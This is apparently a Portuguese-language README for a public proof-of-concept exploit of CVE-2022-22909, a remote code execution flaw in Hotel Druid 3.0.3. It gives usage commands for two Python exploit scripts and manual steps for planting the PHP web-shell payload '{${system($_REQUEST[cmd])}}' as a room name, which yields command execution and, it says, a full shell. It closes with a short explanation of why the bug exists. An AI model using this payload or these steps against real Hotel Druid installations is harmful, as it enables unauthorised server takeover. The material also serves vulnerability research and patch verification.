kaal18/cve-2022-22909Exploit baseado em Python para Execução Remota de Código no Hotel Druid 3.0.3 (CVE-2022-22909). Injeta payloads PHP via nomes de quartos para alcançar execução de comandos e acesso a shell em alvos vulneráveis.
Este exploit criará um novo quarto com nosso payload PHP como nome do quarto.
Uso:
$ ./HotelDruidExploit.py -h
$ ./HotelDruidExploit.py -u http://127.0.0.1/hoteldruid
Este exploit funcionará se você já souber o nome do quarto.
Uso:
$ ./HotelDruidExploitRoom.py -u "http://127.0.0.1/hoteldruid" -r "abc"
1). Navegue até a página do Hotel Druid.
2). Clique em Tables -> Rooms
3). No campo Create New Room, adicione o código PHP abaixo e clique em Add.
{${system($_REQUEST[cmd])}}
4). Você verá um novo quarto com nosso payload no campo de nome "Room".
5). Acesse o link abaixo e você terá execução de comandos. Depois, poderá obter um shell completo.
Nota: Altere o IP para o IP alvo do seu hoteldruid.
Essa vulnerabilidade ocorre porque os nomes dos quartos são armazenados dentro de /var/www/html/hoteldruid/dati/selectappartamenti.php
E selectappartamenti.php é um arquivo PHP, portanto qualquer código PHP dentro desse arquivo será executado pelo servidor.
